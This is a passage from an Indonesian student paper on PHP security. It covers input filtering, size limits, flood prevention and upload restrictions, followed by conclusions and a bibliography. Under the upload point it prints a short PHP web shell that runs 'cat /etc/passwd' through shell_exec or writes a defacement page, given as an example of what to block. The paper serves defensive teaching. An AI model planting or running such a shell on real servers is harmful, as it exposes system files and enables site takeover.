menjadi "<" dan ">" yang merupakan kode karakter HTML untuk tanda lebih kecil dan lebih besar dengan fungsi htmlspecialchars() atau fungsi eregi_replace(). b). Batasi ukuran data yang dikirim ke server atau yang dimasukkan ke database. Jika kita membuat suatu aplikasi guestbook misalnya, tentu saja kita tidak mau pengunjung dapat mengisi guestbook dengan tulisan yang sangat panjang sekali. Oleh karena itu ada baiknya berfikir untuk selalu membatasi fasilitas untuk user. c). Filter kata-kata kotor (bad words). Mungkin ini tidak ada hubungannya dengan kemanan sistem, tapi jika anda ingin membangun website yang 'baik' sebaiknya hidari kata-kata sembarangan yang bisa diposting oleh user. d). Cegah flooding. Kita dapat menggunakan fasilitas session untuk mencegah agar user hanya dapat mengirimkan data sekali atau beberapa kali saja. Ini sangat berguna misalnya pada halaman polling untuk memperkecil kemungkinan user memanipulasi data dengan men-submit terus-menerus. e). Cegah mekanisme upload file PHP yang dapat dieksekusi kemudian dengan dipanggil lewat URL. Jika seseorang menupload file seperti dibawah ini : <?php $cmd = "cat /etc/passwd"; // atau $cmd ="echo "HACKED\">".dirname($_SERVER['PATH_TRANSLATED'])."/hacked.html"; $h = shell_exec($cmd); echo $h; ?> Apabila file tersebut bisa dipanggil lewat URL maka script tersebut dapat dieksekusi oleh PHP dan hasilnya ... BOOM ! Abd.Thalib - 23202112 BAB III KESIMPULAN Semua software aplikasi web tak terkecuali PHP, memiliki titik lemah dalam hal keamanan. Umumnya lubang keamanan pada aplikasi web dengan PHP berkaitan dengan penggunaan variabel auto global dan konfigurasi skrip php yang dibangun. Dengan penelitian yang seksama pada titik-titik lemah tersebut, banyak lubang kemanan dalam aplikasi menggunakan skrip PHP dapat dihindari, diantaranya sebagai beikut : 1. hindari penggunaan variabel saat mengakses file, 2. jangan 100% percaya dengan variabel global, 3. hindari upload yang salah, 4. gunakan ekstensi .php untuk semua file skrip, 5. hati-hati terhadap penggunaan server yang sama, 6. hindari pengetikan skrip yang ruwet dan semaunya. Abd.Thalib - 23202112 DAFTAR PUSTAKA 1. Clancy Malcolm, Ten Security Check For PHP, Website, http://www.onlamp.com/pub/a/php/2003/03/20/php_security.htm 2. Jordan Dimov,On The Security Of PHP, Website http://www.developer.com/lang/php/article.php/922871 3. Sufehmi, Harry, Security di PHP, Website http://www.tf.itb.ac.id/~eryan/Php/PHPSecurity.txt 4. John Coggeshall ,PHP Security,Website http://www.onlamp/pub/au/135 5. Kadir, Abdul, Dasr Penmrograman Web Dinamis Menggunakan PHP, Andi, Yogyakarta, 2002. Abd.Thalib - 23202112